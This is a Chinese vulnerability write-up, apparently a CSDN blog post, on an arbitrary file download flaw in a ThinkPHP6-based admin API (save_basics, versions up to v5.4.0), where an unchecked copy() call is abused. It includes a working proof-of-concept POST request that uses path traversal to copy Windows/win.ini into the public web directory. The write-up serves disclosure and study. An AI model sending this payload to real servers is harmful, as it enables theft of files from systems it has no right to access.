任意文件下载漏洞分析

一、漏洞简介
​app/adminapi/controller/v1/setting/SystemConfig.php​路由中存在任意文件下载漏洞

二、影响版本
<= v5.4.0

三、环境搭建
配置phpstudy,将网站的运行目录,设置在public​目录下 在这里插入图片描述
设置伪静态 在这里插入图片描述
四、漏洞原理分析
该系统采用前后端分离技术,基于ThinkPHP6+elementUI+Uni-app框架开发

首先我们查看路由,看到这是一个后台的任意文件下载,并且/adminapi/setting/config/save_basics​路径会进去到 v1.setting.SystemConfig/save_basics​ 这个路径下 在这里插入图片描述
受影响的代码在app/adminapi/controllerv1.setting.SystemConfig/save_basics.php​文件的save_basics​中

这里从请求中获取 POST 参数,然后遍历 POST 数据的每个键值对,k​表示字段名,k​ 表示字段名,k表示字段名,v​ 表示字段值。在这里插入图片描述
接着是一系列的判断,判断post​参数是否存在这些,然后在weixin_ckeck_file​post参数中,存在copy​函数,可以将文件进行复制的一个操作
在这里插入图片描述
接着跟踪代码,发现public_path​就是在public​目录,这里存在copy​文件到public​目录下的一个操作 在这里插入图片描述
分析$to = public_path() . array_reverse(explode(‘/’, $post[‘weixin_ckeck_file’]))[0];​这个代码,就是将字符串按 /​ 分割成一个数组,然后提取最后一个部分(就是文件名),然后拼接到public​目录下

进行动调一下,看看是否和我们之前描述的一样。 在这里插入图片描述
可以看到,结果就是我们所描述的那种。并且由于是thinkphp的框架,所以运行的目录也是在public​目录下面。因此可以直接去访问那个文件,便可以进行下载文件。

五、漏洞复现
POST /adminapi/setting/config/save_basics HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Authori-zation:
Cookie: cb_lang=zh-cn;
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Content-Type: application/json;charset=utf-8
Content-Length: 72

{
“weixin_ckeck_file”: “…/…/…/…/…/…/…/…/Windows/win.ini”
}
在这里插入图片描述
然后访问直接win.ini便可以下载win.ini文件 在这里插入图片描述
六、总结
这是一个由于copy​函数没有严格控制路径问题,导致存在一个任意文件下载的操作。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值